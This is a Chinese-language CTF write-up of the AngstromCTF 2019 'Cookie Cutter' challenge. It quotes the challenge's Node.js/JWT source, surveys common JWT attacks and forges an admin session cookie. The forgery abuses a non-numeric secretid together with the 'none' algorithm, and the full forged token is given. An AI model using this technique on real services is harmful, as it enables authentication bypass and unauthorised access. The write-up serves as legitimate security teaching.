[AngstromCTF 2019]Cookie Cutter
最近看到了一个国外高中生的CTF比赛,翻了一下往年的例题,发现有一道关于jwt session伪造的题比较有意思,记录一下
题目简介中给出了我们题目的地址和后端处理的源码,看看源码先代码审计一下:
const cookieParser = require('cookie-parser');
const express = require('express');
const crypto = require('crypto');
const jwt = require('jsonwebtoken'); const flag = "[redacted]"; let secrets = []; const app = express()
app.use('/style.css', express.static('style.css'));
app.use('/favicon.ico', express.static('favicon.ico'));
app.use('/rick.png', express.static('rick.png'));
app.use(cookieParser()) app.use('/admin',(req, res, next)=>{
res.locals.rolled = true;
next();
}) app.use((req, res, next) => {
let cookie = req.cookies?req.cookies.session:"";
res.locals.flag = false;
try {
let sid = JSON.parse(Buffer.from(cookie.split(".")[1], 'base64').toString()).secretid;
if(sid==undefined||sid>=secrets.length||sid<0){throw "invalid sid"}
let decoded = jwt.verify(cookie, secrets[sid]);
if(decoded.perms=="admin"){
res.locals.flag = true;
}
if(decoded.rolled=="yes"){
res.locals.rolled = true;
}
if(res.locals.rolled) {
req.cookies.session = ""; // generate new cookie
}
} catch (err) {
req.cookies.session = "";
}
if(!req.cookies.session){
let secret = crypto.randomBytes(32)
cookie = jwt.sign({perms:"user",secretid:secrets.length,rolled:res.locals.rolled?"yes":"no"}, secret, {algorithm: "HS256"});
secrets.push(secret);
res.cookie('session',cookie,{maxAge:1000*60*10, httpOnly: true})
req.cookies.session=cookie
res.locals.flag = false;
}
next()
}) app.get('/admin', (req, res) => {
res.send("<!DOCTYPE html><head></head><body><script>setTimeout(function(){location.href='//goo.gl/zPOD'},10)</script></body>");
}) app.get('/', (req, res) => {
res.send("<!DOCTYPE html><head><link href='style.css' rel='stylesheet' type='text/css'></head><body><h1>hello kind user!</h1><p>your flag is <span style='color:red'>"+(res.locals.flag?flag:"error: insufficient permissions! talk to the <a href='/admin'"+(res.locals.rolled?" class='rolled'":"")+">admin</a> if you want access to the flag")+"</span>.</p><footer><small>This site was made extra secure with signed cookies, with a different randomized secret for every cookie!</small></footer></body>")
}) app.listen(3000)
粗略看了一下发现这是一道jwt伪造的题。先来简单讲一下jwt是个什么:
Json web token (JWT), 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准((RFC 7519).该token被设计为紧凑且安全的,特别适用于分布式站点的单点登录(SSO)场景。JWT的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息,以便于从资源服务器获取资源,也可以增加一些额外的其它业务逻辑所必须的声明信息,该token也可直接被用于认证,也可被加密。JWT是由三段信息构成的,将这三段信息文本用符号"."
链接一起就构成了Jwt字符串,就像这样:![]()
第一部分我们称它为头部(header),第二部分我们称其为载荷(payload),第三部分是签证(signature).
头部(header)承载两部分信息:
- 声明类型,这里是jwt
- 声明加密的算法 通常使用HS256与RS25
完整的头部就像下面这样的JSON:
在上面的代码中,alg属性表示签名使用的算法,默认为HMAC SHA256(写为HS256);typ属性表示令牌的类型,JWT令牌统一写为JWT。然后对头部进行base64编码即可得到我们的第一段jwt。
载荷(Payload)就是存放有效信息的地方。这个名字像是特指飞机上承载的货品,这些有效信息包含三个部分
- 标准中注册的声明
- 公共的声明
- 私有的声明
标准中注册的声明 (建议但不强制使用) :
- iss: jwt签发者
- sub: jwt所面向的用户
- aud: 接收jwt的一方
- exp: jwt的过期时间,这个过期时间必须要大于签发时间
- nbf: 定义在什么时间之前,该jwt都是不可用的.
- iat: jwt的签发时间
- jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击。
公共的声明 :
公共的声明可以添加任何的信息,一般添加用户的相关信息或其他业务需要的必要信息.但不建议添加敏感信息,因为该部分在客户端可解密.私有的声明 :
私有声明是提供者和消费者所共同定义的声明,一般不建议存放敏感信息,因为base64是对称解密的,意味着该部分信息可以归类为明文信息。完整的载荷就像下面这样的JSON:
然后对载荷进行Base64加密即可得到我们的第二段jwt,与第一段jwt使用“.”连接。
签证信息(signature)构成jwt的第三部分,这个签证信息由三部分组成:
- header (base64后的)
- payload (base64后的)
- secret
这个部分需要base64加密后的header和base64加密后的payload使用
.
连接组成的字符串,然后通过header中声明的加密方式进行加盐secret
组合加密,然后就构成了jwt的第三部分。
了解过jwt的原理后,我们来总结一下jwt中容易出现的安全问题,其实也就是CTF关于jwt题目中的考法:
1修改算法为none
修改算法有两种修改的方式其中一种就是将算法就该为none。
后端若是支持none算法,header中的alg字段可被修改为none。
去掉JWT中的signature数据(仅剩header + ‘.’ + payload + ‘.’) 然后直接提交到服务端去。
2修改算法RS256为HS256
RS256是非对称加密算法,HS是对称加密算法。
假设jwt内部的函数支持的RS256算法,又同时支持HS256算法
如果已知公钥的话,将算法改成HS256,然后后端就会用这个公钥当作密钥来加密
3信息泄露、密钥泄露
JWT是以base64编码传输的,虽然密钥不可见,但是其数据记本上是明文传输的,如果传输了重要的内容,可以base64解码然后获取其重要的信息。
如果服务端泄露了密钥,用户便可以根据密钥和加密算法来自己伪造生成jwt。
4爆破密钥
如果密钥比较短,并且已知加密算法,通过暴力破解的方式,可以得到其密钥。
仔细审计一下代码,需要关注的点在这里:
let secret = crypto.randomBytes(32)
cookie = jwt.sign({perms:"user",secretid:secrets.length,rolled:res.locals.rolled?"yes":"no"}, secret, {algorithm: "HS256"});
secrets.push(secret);
再看看获取Flag的条件:
let sid = JSON.parse(Buffer.from(cookie.split(".")[1], 'base64').toString()).secretid;
if(sid==undefined||sid>=secrets.length||sid<0){throw "invalid sid"}
let decoded = jwt.verify(cookie, secrets[sid]);
if(decoded.perms=="admin"){
res.locals.flag = true;
}
if(decoded.rolled=="yes"){
res.locals.rolled = true;
}
if(res.locals.rolled) {
req.cookies.session = ""; // generate new cookie
}
这里我们分析一下:构造Payload首先需要绕过的是对于sid的验证,其次是jwt.verify()的验证,才可以获得Flag
先来看对于sid的验证:
let sid = JSON.parse(Buffer.from(cookie.split(".")[1], 'base64').toString()).secretid; //这里是获取jwt payload中secretid的值
if(sid==undefined||sid>=secrets.length||sid<0){throw "invalid sid"}
要求sid不能为空、值不为负并且要小于或等于secrets的长度值。这里有一个trick: NodeJs中数字与非纯数字字符串比较,无论大小都会返回Flase。
因此绕过这个验证只要保证sid的值即jwt payload中secretid有值即可,无论字符或数字都可以绕过。
接下来看看如何绕过jwt.verify()的验证:
let decoded = jwt.verify(cookie, secrets[sid]);
从通过jwt.verify()验证所需的参数来看,我们需要密钥才可以通过验证,但是我们并不知道密钥,同时密钥是32位随机生成的字符串,爆破显然也行不通
这时我们想到了将jwt Header中加密算法alg的值设置为none即可,并且此时jwt.verify()验证中的密钥secrets[sid]为空即可通过验证(因为没有加密算法所以不需要私钥)
若sid为一个非数字字符串,那么secrets[sid]便会返回undefined,同时程序也只是验证了sid不等于undefined,对secrets[sid]并没有限制。
因此我们构造payload的核心就出来了:
1.将Header中alg的值修改为none
2.将Payload中perms的值修改为admin
3.将Payload中secretid的值修改为任一非数字字符串
4.将Payload中rolled的值修改为no,防止后端重新分配给我们一个jwt
构造Payload步骤如下:
通过这个网站我们可以实现jwt的解码与生成:https://jwt.io/
首先获取我们访问时默认的jwt:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJwZXJtcyI6InVzZXIiLCJzZWNyZXRpZCI6OTAsInJvbGxlZCI6Im5vIiwiaWF0IjoxNTgzMjk0MTk3fQ.M2OrRjGys_6btzgDXAipdjv4iB5vGovgnWFGQOwRgyo
解密得到:
{
alg: "HS256",
typ: "JWT"
}.
{
perms: "user",
secretid: 90,
rolled: "yes",
iat: 1583294197 //这里是jwt生成的时间,发送的时候有无均可
}.
[signature] //签名部分,这里我们没有密钥,因此接下来伪造jwt的时候需要删掉这一部分
我们来构造一下获取Flag的明文jwt:
{
alg: "none", //不使用加密方式
typ: "JWT"
}.
{
perms: "admin",
secretid: "ye", //这里为了绕过后端的验证需要输入一个字符串
rolled: "no" //设置为no让后端不再重新分配jwt
}.
然后我们生成jwt然后直接删去第三部分的签证得到Payload:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJwZXJtcyI6ImFkbWluIiwic2VjcmV0aWQiOiJ5ZSIsInJvbGxlZCI6Im5vIn0.
将我们的payload jwt设置为session再次发送请求得到Flag:
参考链接:
https://www.jianshu.com/p/576dbf44b2ae
https://www.freebuf.com/column/207216.html
[AngstromCTF 2019]Cookie Cutter的更多相关文章
- android 实现垂直的ProgressBar
I had recently come across the need for a vertical progress bar but was unable to find a solution us ...
- javascript启示录英文单词生词
odd:奇怪的 represent:代表 primitive:原始的 trivial:平凡的 demonstrate:证明 keep this at the forefront of your min ...
- magnum devstack部署
magnum安装 安装条件: 至少要10G以上内存的机器.亲测使用6G的虚拟机,所有操作均有至少一秒延迟. 硬盘至少50G 良好的上网环境 操作步骤参见快速入门 以下是我操作的步骤记录 sudo mk ...
- SEO优化上首页之搜索引擎作弊案例与反作弊原理
搜索引擎流量价值巨大,有不少人专门研究排名机制,利用搜索引擎漏洞作弊,寻求快速提高网站排名,进而获取更多的流量和利益,甚至有的网站优化公司专门提供作弊服务.搜索引擎为了杜绝这种情况,必须能过滤大量垃圾 ...
- 3DSMAX中英文对比大全(从A-Z分类)
A Absolute Mode Transform Type-in绝对坐标方式变换输入 Absolute/Relative Snap Toggle Mode绝对/相对捕捉开关模式 ACIS Optio ...
- JavaScript Constructors
Understanding JavaScript Constructors It was: 1) This article is technically sound. JavaScript doesn ...
- 4 Visual Effects 视觉效果 读书笔记 第四章
4 Visual Effects 视觉效果 读书笔记 第四章 Well, circles and ovals are good, but how about drawing r ...
- 20140401 cudaHOG代码
1.cudaHOG代码(删减没有必要的目录) cudaHOGDetect需要boost库:boost_date_time-vc100-mt-1_40.lib VC++目录->附加库目录D:\bo ...
- [BJDCTF2020]Cookie is so stable && [GWCTF 2019]枯燥的抽奖
[BJDCTF2020]Cookie is so stable 进入环境后看到有hint,点击之后查看源代码 提示我们cookie有线索 flag页面是: 需要输入一个username,或许这道题目是 ...
随机推荐
- vue 项目运行报错
'vue-cli-service' 不是内部或外部命令,也不是可运行的程序 或批处理文件. 运行Vue项目文件的时候报如下错误 需要先用淘宝镜像来运行:cnpm install 然后运行成功后 就可以 ...
- 2020-06-20:一句话总结ZK?
福哥答案2020-06-20: 这道题价值不大,但是面试题里有这道题. 分布式协调服务,注册服务和发现,树形结构,监听机制,过半机制. ZooKeeper是源代码开放的分布式协调服务,由雅虎公司创建, ...
- C#LeetCode刷题之#414-第三大的数(Third Maximum Number)
问题 该文章的最新版本已迁移至个人博客[比特飞],单击链接 https://www.byteflying.com/archives/3710 访问. 给定一个非空数组,返回此数组中第三大的数.如果不存 ...
- C#LeetCode刷题之#409-最长回文串(Longest Palindrome)
问题 该文章的最新版本已迁移至个人博客[比特飞],单击链接 https://www.byteflying.com/archives/3788 访问. 给定一个包含大写字母和小写字母的字符串,找到通过这 ...
- 5G从小就梦想着自己要迎娶:高速率、低时延、大容量三个老婆
摘要:2020年7月9日,ITU正式把NB-IoT纳入5G标准体系! 高速率.低时延与5G是青梅竹马的关系,在大容量的选择上,5G与NB-IoT不断传出着绯闻,终于:2020年7月9日,ITU正式把N ...
- SQLserver 查询某个表的字段及字段属性
SELECT C.name as [字段名],T.name as [字段类型] ,convert(bit,C.IsNullable) as [可否为空] ,convert(bit,case when ...
- 01@-tornado
import tornado.web ''' tornado的基础web框架模块 ''' import tornado.ioloop ''' tornado的核心IO循环模块 封装了Linux的epo ...
- 如何校验内存数据的一致性,DynamicExpresso 算是帮上大忙了
一:背景 1. 讲故事 记的在上一家公司做全内存项目的时候,因为一些关键表会在程序 startup 的时候全量灌入到内存中,但随着时间的推移,内存和数据库的同步偶尔会出现数据差异的情况,伴随着就是运营 ...
- Azure认知服务之使用墨迹识别功能识别手写汉字
前面我们使用Azure Face实现了人脸识别.使用Azure表格识别器提取了表格里的数据.这次我们试试使用Azure墨迹识别API来对笔迹进行识别. 墨迹识别 墨迹识别器认知服务提供基于云的 RES ...
- .Net Core3.1 + EF Core + LayUI 封装的MVC版后台管理系统
项目名称:学生信息管理系统1.0 后台框架:.Net Core 3.1 + EF Core yrjw.ORM.Chimp 前端框架:ASP.NET Core MVC + LayUI + Bo ...